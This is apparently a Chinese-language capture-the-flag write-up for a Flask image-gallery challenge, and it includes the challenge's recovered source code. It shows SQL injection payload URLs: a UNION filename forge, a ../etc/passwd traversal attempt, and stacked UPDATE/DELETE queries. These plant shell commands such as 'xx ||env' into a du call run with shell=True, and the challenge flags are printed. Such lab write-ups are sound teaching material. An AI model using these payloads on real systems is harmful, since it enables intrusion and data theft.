打开首页看到

查看源代码,发现图片都是通过”fetch?id=1”这种方式加载的

 简单测了一下存在SQL注入。

直接上sqlmap跑

 第一个flag:

  1. ^FLAG^d45b332cff0a6eeb1468f3ec29d0376468bd8f86bdba0369da743504e557a9b4$FLAG$

继续来看,注意到表photos中的filename存储了照片的路径,也就是说,后台处理逻辑通过我们url中传递的id参数,来从数据库中取出了照片文件的路径,然后读取文件内容返回给我们

  1. select filename from photo where id=N;

既然这里存在sql漏洞,那么我们就可以利用这一点来控制sql的查询结果也就是filename,进而读取我们控制的filename,我们验证一下,先访问url:

  1. http://xxxx/xxx/fetch?id=4

 就如数据库结果呈现的一样,表photos中id=4时没有对应记录,然后访问url:

  1. http://xxxx/xxx/fetch?id=4 union select 'files/adorable.jpg' #

 虽然id=4没有记录,但我们通过union查询成功伪造了filename,使得后台程序读取了第一张照片,那么继续,试试任意文件读取的经典payload:

  1. http://xxxx/xxx/fetch?id=4 union select '../../../../../../../etc/passwd' #

 但是失败了。

可能是 ../ 或者 ..被过滤或者替换掉了。

这样的话,我们只能读取当前目录及其子目录下的文件了。

查看hint,告诉我们这个应用运行在uwsgi-nginx-flask-docker镜像上。

uwsgi是什么?

百度了一下:

  1. uWSGI是一个Web服务器,它实现了WSGI协议、uwsgihttp等协议。NginxHttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginxuWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。

好吧,应该就是个中间件吧,搜了一下它的部署,一般uwsgi-nginx-flask-docker这种架构部署完了web应用的目录结构是这样子的:

  1. |____docker-compose.yaml
  2. |____web
  3. | |____Dockerfile
  4. | |____entrypoint.sh
  5. | |____start.sh
  6. | |____app
  7. | | |______init__.py
  8. | | |____models.py
  9. | | |____views.py
  10. | | |____requirements.txt
  11. | | |____utils.py
  12. | | |____helper.py
  13. | | |____settings.py
  14. | | |____app.py
  15. | | |____uwsgi.ini
  16. |____README.md
  17. docker-compose.yamlweb文件夹和最外层readme.md同目录
  18. web下面:Dockerfile entrypoint.sh start.sh, app
  19. app下面:app.py, uwsgi.ini, requirements.txt, models.py, views.py

其中uwsgi.ini是uWSGI的配置文件,我们访问url:

  1. http://xxxx/xxx/fetch?id=4 union select 'uwsgi.ini' #

读取了它的内容:

依照uwsgi的参数定义

module = main

表示加载一个main.py这个模块,这应该是这个web应用的主要代码,我们继续读取main.py

 我们得到了第二个flag

  1. ^FLAG^6c1ad55b8f7a422e7e0e6c1c15be439439ef513ac8cce290c3ece7a27b3983d1$FLAG$

接下来,对main.py进行审计。main.py的代码整理如下:

  1. 1 from flask import Flask, abort, redirect, request, Response
  2. 2 import base64, json, MySQLdb, os, re, subprocess
  3. 3
  4. 4 app = Flask(__name__)
  5. 5
  6. 6 home = '''
  7. 7 <!doctype html>
  8. 8 <html>
  9. 9 <head>
  10. 10 <title>Magical Image Gallery</title>
  11. 11 </head>
  12. 12 <body>
  13. 13 <h1>Magical Image Gallery</h1>
  14. 14 $ALBUMS$
  15. 15 </body>
  16. 16 </html>
  17. 17 '''
  18. 18
  19. 19 viewAlbum = '''
  20. 20 <!doctype html>
  21. 21 <html>
  22. 22 <head>
  23. 23 <title>$TITLE$ -- Magical Image Gallery</title>
  24. 24 </head>
  25. 25 <body>
  26. 26 <h1>$TITLE$</h1>
  27. 27 $GALLERY$
  28. 28 </body>
  29. 29 </html>
  30. 30 '''
  31. 31
  32. 32 def getDb():
  33. 33 return MySQLdb.connect(host="localhost", user="root", password="", db="level5")
  34. 34
  35. 35 def sanitize(data):
  36. 36 return data.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')
  37. 37
  38. 38 @app.route('/')
  39. 39 def index():
  40. 40 #使用cursor()方法获取操作游标
  41. 41 cur = getDb().cursor()
  42. 42 cur.execute('SELECT id, title FROM albums')
  43. 43 #接收全部的返回结果行,放入列表albums。 [(id1,title1),(id2,title2),(id3,title3)]
  44. 44 albums = list(cur.fetchall())
  45. 45
  46. 46 rep = ''
  47. 47 for id, title in albums:
  48. 48 rep += '<h2>%s</h2>n' % sanitize(title)
  49. 49 rep += '<div>'
  50. 50 cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
  51. 51 fns = []
  52. 52 #遍历。 src="fetch?id=%i" id取值于pid,pid与pfn(filename)想关联,并将pfn文件路径存入列表fns
  53. 53 for pid, ptitle, pfn in cur.fetchall():
  54. 54 rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
  55. 55 fns.append(pfn)
  56. 56 #subprocess.check_output函数可以执行一条shell命令,并返回命令的输出内容
  57. 57 #du命令:查看文件夹和文件的磁盘占用情况
  58. 58 # || 符合:当前面执行出错时,执行后面的
  59. 59 rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'
  60. 60 rep += '</div>n'
  61. 61
  62. 62 return home.replace('$ALBUMS$', rep)
  63. 63
  64. 64 @app.route('/fetch')
  65. 65 def fetch():
  66. 66 cur = getDb().cursor()
  67. 67 #这里存在注入。我们可以控制request.args['id']达到控制sql过程
  68. 68 if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
  69. 69 abort(404)
  70. 70
  71. 71 # It's dangerous to go alone, take this:
  72. 72 # ^FLAG^276c9cab4db9a0f361be2059933e1238ddac12c6b3c3ce867e736068284e9036$FLAG$
  73. 73 #以只读的方式,读文件
  74. 74 return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
  75. 75
  76. 76 if __name__ == "__main__":
  77. 77 app.run(host='0.0.0.0', port=80)

重点在第59行

  1. rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'

貌似可以进行命令注入,前提是如果我们能控制列表fns中的项fn,例如:

  1. fns=["xx || ls"]

则可以执行系统命令ls,可以怎么控制fns呢

看第50-55行

  1. cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
  2. fns = []
  3. for pid, ptitle, pfn in cur.fetchall():
  4. rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
  5. fns.append(pfn)

我们可以得知列表fns的项来自表photos中filename,而所以如果我们能够控制表photos中的filename就能最终进行代码注入,那么哪里可以进行控制表photos中的filename呢,我们来看65行开始的代码:

  1. def fetch():
  2. cur = getDb().cursor()
  3. #这里存在注入。我们可以控制request.args['id']达到控制sql过程
  4. if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
  5. abort(404)
  6. # It's dangerous to go alone, take this:
  7. # ^FLAG^276c9cab4db9a0f361be2059933e1238ddac12c6b3c3ce867e736068284e9036$FLAG$
  8. #以只读的方式,读文件
  9. return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

这里存在SQL注入。如果execute函数支持sql堆叠查询,我们不就可以控制表photos中的数据了么,我们先来测试一下,访问url

  1. http://xxxx/xxx/fetch?id=1;update photos set title='test' where id=1;commit;--

(增删改操作,别忘了 commit

也就是让后台执行

  1. cur.execute('SELECT filename FROM photos WHERE id=1;update photos set title='test' where id=1;commit;--')

然后访问主页:

可以看到title被成功的改了过来,说明execute函数是支持堆叠查询的,那么就可以构造payload的,假如我要最终执行的命令是ls:

那么53行就应该为:

  1. rep += '<i>Space used: ' + subprocess.check_output('du -ch files/xx ||ls || exit 0', shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'

那么fns=["xx ||ls"]

所以filename="xx ||ls"
所以我们只要执行update photos set filename='xx ||ls' where id=1,并且删除另外表photos中另外两行delete from photos where id<>1,就能保证最终filename="xx ||ls",我们来实践一下:依次访问url:

  1. http://xxxx/xxx/fetch?id=1;update photos set filename='xx ||ls' where id=1;commit;--
  2. http://xxxx/xxx/fetch?id=1;delete from photos where id<>1;commit;--

然后访问主页:

http://xxxx/xxx/

 已经返回了结果,但为什么只有一项,原因在第59行

  1. rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'

结尾处的(...).strip().rsplit('n',1)[-1]使得结果只输出一行,怎么才能让结果全部输出呢

办法有多种,我用的是...|tr -t '\n' ':',(tr 命令用于转换或删除文件中的字符),先访问url:

  1. http://xxxx/xxx/fetch?id=1;update photos set filename="xx ||ls|tr -t '\n' ':'" where id=1;commit;--

再访问主页

 但是并没有flag.

最后发现flag居然在env环境变量里,

访问url:

  1. http://xxxx/xxx/fetch?id=1;update photos set filename"xx ||env|tr -t 'n' ':'" where id=1;commit;--

然后访问主页:

 flag3:

^FLAG^650c307fe7ad00ef88a27fac22f3ec641e9445dfb5780f74ede03871393847ff$FLAG$

 

版权声明:本文为vege原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/vege/p/14589546.html